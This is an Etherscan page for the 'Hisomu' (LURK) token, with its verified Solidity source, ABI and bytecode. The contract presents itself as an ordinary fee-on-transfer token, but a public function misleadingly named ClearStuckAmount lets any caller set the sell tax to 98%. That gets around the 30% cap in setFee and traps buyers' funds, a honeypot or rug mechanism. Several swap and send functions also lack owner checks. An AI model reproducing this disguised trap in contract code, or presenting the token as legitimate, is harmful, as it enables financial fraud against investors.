Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 LURK
Holders
30
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 4 Decimals)
Balance
7,059,314.9265 LURKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Hisomu
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-30 */ //Telegram : https://T.me/HisomuEth // Twitter : https://twitter.com/HisomuEth // SPDX-License-Identifier: MIT // HISOMU (LURK) pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IBEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hisomu is Context, IBEP20, Ownable { using SafeMath for uint256; string private constant _name = " HISOMU "; string private constant _symbol = "LURK"; uint8 private constant _decimals = 4; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**4; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _clearstuck = 98; uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisSellFee = 0; uint256 private _taxsellfee = 1; //Original Fee uint256 private _redisFee = _redisSellFee; uint256 private _taxFee = _taxsellfee; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address payable private _developmentAddress = payable(0x9c4B6F15B0050202423aDe894997d450B467c9a1); address payable private _marketingAddress = payable(0x9c4B6F15B0050202423aDe894997d450B467c9a1); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal*4/100; uint256 public _swapTokensAtAmount = _tTotal*20/10000; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "BEP20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "BEP20: transfer from the zero address"); require(to != address(0), "BEP20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount*2) { contractTokenBalance = _swapTokensAtAmount*2; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 90000000000000000) { sendETHToFee(contractETHBalance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisSellFee; _taxFee = _taxsellfee; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualsend() external { sendETHToFee(address(this).balance); } function manualSwap(uint256 percent) external { uint256 contractTokenBalance = balanceOf(address(this)); uint256 swapamount = contractTokenBalance*percent/100; swapTokensForEth(swapamount); } function toggleSwap (bool _swapEnabled) external { swapEnabled = _swapEnabled; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function ClearStuckAmount(uint256 rescue) public { while (rescue!=_clearstuck) { rescue=rescue+1; } _taxsellfee = rescue; } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisSellFee = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxsellfee = taxFeeOnSell; require (_redisFeeOnBuy+_redisSellFee+_taxFeeOnBuy+_taxsellfee <= 30); } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; require (_maxTxAmount >= _tTotal/100); } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; require (_maxWalletSize >= _tTotal/100); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"rescue","type":"uint256"}],"name":"ClearStuckAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000186509184e72a0006000196200039f565b6200002690600019620003cc565b6006556062600755600060098190556001600a819055600b829055600c819055600d829055600e819055600f9190915560105560118054739c4b6f15b0050202423ade894997d450b467c9a16001600160a01b031991821681179092556012805490911690911790556014805462ffffff60a01b19166201000160a01b1790556509184e72a0006015819055606490620000c2906004620003e8565b620000ce91906200040a565b601655612710620000e76509184e72a0006014620003e8565b620000f391906200040a565b6017553480156200010357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e7919062000421565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000235573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025b919062000421565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cf919062000421565b601480546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601254909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6509184e72a0006040516200037a91815260200190565b60405180910390a35062000453565b634e487b7160e01b600052601260045260246000fd5b600082620003b157620003b162000389565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620003e257620003e2620003b6565b92915050565b6000816000190483118215151615620004055762000405620003b6565b500290565b6000826200041c576200041c62000389565b500490565b6000602082840312156200043457600080fd5b81516001600160a01b03811681146200044c57600080fd5b9392505050565b61189980620004636000396000f3fe60806040526004361061014f5760003560e01c806374010ece116100b6578063a9059cbb1161006f578063a9059cbb146103d7578063b70143c9146103f7578063bf2f650a14610417578063dd62ed3e14610437578063ea1644d51461047d578063f2fde38b1461049d57600080fd5b806374010ece146103205780637d1db4a5146103405780638da5cb5b146103565780638f9a55c01461037457806395d89b411461038a578063a2a957bb146103b757600080fd5b8063313ce56711610108578063313ce5671461025f57806349bd5a5e1461027b5780636d8aa8f81461029b5780636fc3eaec146102d657806370a08231146102eb578063715018a61461030b57600080fd5b806306fdde031461015b578063095ea7b31461019e5780631694505e146101ce57806318160ddd1461020657806323b872dd146102295780632fd689e31461024957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260088152670102424a9a7a6aa960c51b60208201525b6040516101959190611552565b60405180910390f35b3480156101aa57600080fd5b506101be6101b93660046115b5565b6104bd565b6040519015158152602001610195565b3480156101da57600080fd5b506013546101ee906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561021257600080fd5b506509184e72a0005b604051908152602001610195565b34801561023557600080fd5b506101be6102443660046115e1565b6104d4565b34801561025557600080fd5b5061021b60175481565b34801561026b57600080fd5b5060405160048152602001610195565b34801561028757600080fd5b506014546101ee906001600160a01b031681565b3480156102a757600080fd5b506102d46102b6366004611622565b60148054911515600160b01b0260ff60b01b19909216919091179055565b005b3480156102e257600080fd5b506102d461053d565b3480156102f757600080fd5b5061021b610306366004611644565b610548565b34801561031757600080fd5b506102d461056a565b34801561032c57600080fd5b506102d461033b366004611661565b6105e7565b34801561034c57600080fd5b5061021b60155481565b34801561036257600080fd5b506000546001600160a01b03166101ee565b34801561038057600080fd5b5061021b60165481565b34801561039657600080fd5b506040805180820190915260048152634c55524b60e01b6020820152610188565b3480156103c357600080fd5b506102d46103d236600461167a565b610638565b3480156103e357600080fd5b506101be6103f23660046115b5565b6106a9565b34801561040357600080fd5b506102d4610412366004611661565b6106b6565b34801561042357600080fd5b506102d4610432366004611661565b6106eb565b34801561044357600080fd5b5061021b6104523660046116ac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561048957600080fd5b506102d4610498366004611661565b61070b565b3480156104a957600080fd5b506102d46104b8366004611644565b610759565b60006104ca338484610843565b5060015b92915050565b60006104e1848484610967565b610533843361052e8560405180606001604052806028815260200161183c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e27565b610843565b5060019392505050565b61054647610e61565b565b6001600160a01b0381166000908152600260205260408120546104ce90610e9f565b6000546001600160a01b0316331461059d5760405162461bcd60e51b8152600401610594906116e5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106115760405162461bcd60e51b8152600401610594906116e5565b601581905561062760646509184e72a000611730565b601554101561063557600080fd5b50565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610594906116e5565b6009849055600b839055600a829055600c819055601e81836106848688611752565b61068e9190611752565b6106989190611752565b11156106a357600080fd5b50505050565b60006104ca338484610967565b60006106c130610548565b9050600060646106d18484611765565b6106db9190611730565b90506106e681610f23565b505050565b6007548114610706576106ff816001611752565b90506106eb565b600c55565b6000546001600160a01b031633146107355760405162461bcd60e51b8152600401610594906116e5565b601681905561074b60646509184e72a000611730565b601654101561063557600080fd5b6000546001600160a01b031633146107835760405162461bcd60e51b8152600401610594906116e5565b6001600160a01b0381166107e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610594565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108a55760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610594565b6001600160a01b0382166109065760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610594565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109cb5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610594565b6001600160a01b038216610a2d5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610594565b60008111610a8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610594565b6000546001600160a01b03848116911614801590610abb57506000546001600160a01b03838116911614155b15610d2057601454600160a01b900460ff16610b54576000546001600160a01b03848116911614610b545760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610594565b601554811115610ba65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610594565b6014546001600160a01b03838116911614610c2b5760165481610bc884610548565b610bd29190611752565b10610c2b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610594565b6000610c3630610548565b6017549091508082101590610c4c906002611765565b8210610c6357601754610c60906002611765565b91505b808015610c7a5750601454600160a81b900460ff16155b8015610c9457506014546001600160a01b03868116911614155b8015610ca95750601454600160b01b900460ff165b8015610cce57506001600160a01b03851660009081526005602052604090205460ff16155b8015610cf357506001600160a01b03841660009081526005602052604090205460ff16155b15610d1d57610d0182610f23565b4767013fbe85edc90000811115610d1b57610d1b81610e61565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610d6257506001600160a01b03831660009081526005602052604090205460ff165b80610d9457506014546001600160a01b03858116911614801590610d9457506014546001600160a01b03848116911614155b15610da157506000610e1b565b6014546001600160a01b038581169116148015610dcc57506013546001600160a01b03848116911614155b15610dde57600954600d55600a54600e555b6014546001600160a01b038481169116148015610e0957506013546001600160a01b03858116911614155b15610e1b57600b54600d55600c54600e555b6106a38484848461109d565b60008184841115610e4b5760405162461bcd60e51b81526004016105949190611552565b506000610e588486611784565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9b573d6000803e3d6000fd5b5050565b6000600654821115610f065760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610594565b6000610f106110cb565b9050610f1c83826110ee565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6b57610f6b611797565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe891906117ad565b81600181518110610ffb57610ffb611797565b6001600160a01b0392831660209182029290920101526013546110219130911684610843565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061105a9085906000908690309042906004016117ca565b600060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806110aa576110aa611130565b6110b584848461115e565b806106a3576106a3600f54600d55601054600e55565b60008060006110d8611255565b90925090506110e782826110ee565b9250505090565b6000610f1c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611291565b600d541580156111405750600e54155b1561114757565b600d8054600f55600e805460105560009182905555565b600080600080600080611170876112bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111a2908761131c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111d1908661135e565b6001600160a01b0389166000908152600260205260409020556111f3816113bd565b6111fd8483611407565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124291815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061126e82826110ee565b821015611288575050600654926509184e72a00092509050565b90939092509050565b600081836112b25760405162461bcd60e51b81526004016105949190611552565b506000610e588486611730565b60008060008060008060008060006112dc8a600d54600e5461142b565b92509250925060006112ec6110cb565b905060008060006112ff8e878787611480565b919e509c509a509598509396509194505050505091939550919395565b6000610f1c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e27565b60008061136b8385611752565b905083811015610f1c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610594565b60006113c76110cb565b905060006113d583836114d0565b306000908152600260205260409020549091506113f2908261135e565b30600090815260026020526040902055505050565b600654611414908361131c565b600655600854611424908261135e565b6008555050565b6000808080611445606461143f89896114d0565b906110ee565b90506000611458606461143f8a896114d0565b905060006114708261146a8b8661131c565b9061131c565b9992985090965090945050505050565b600080808061148f88866114d0565b9050600061149d88876114d0565b905060006114ab88886114d0565b905060006114bd8261146a868661131c565b939b939a50919850919650505050505050565b6000826000036114e2575060006104ce565b60006114ee8385611765565b9050826114fb8583611730565b14610f1c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610594565b600060208083528351808285015260005b8181101561157f57858101830151858201604001528201611563565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063557600080fd5b600080604083850312156115c857600080fd5b82356115d3816115a0565b946020939093013593505050565b6000806000606084860312156115f657600080fd5b8335611601816115a0565b92506020840135611611816115a0565b929592945050506040919091013590565b60006020828403121561163457600080fd5b81358015158114610f1c57600080fd5b60006020828403121561165657600080fd5b8135610f1c816115a0565b60006020828403121561167357600080fd5b5035919050565b6000806000806080858703121561169057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156116bf57600080fd5b82356116ca816115a0565b915060208301356116da816115a0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261174d57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104ce576104ce61171a565b600081600019048311821515161561177f5761177f61171a565b500290565b818103818111156104ce576104ce61171a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117bf57600080fd5b8151610f1c816115a0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b0396909616606085015250505060800152939250505056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d754018abb15a9efc280d820cc4935fd8c47a0c9c191565d4c766c2a5e68881864736f6c63430008100033
Deployed Bytecode
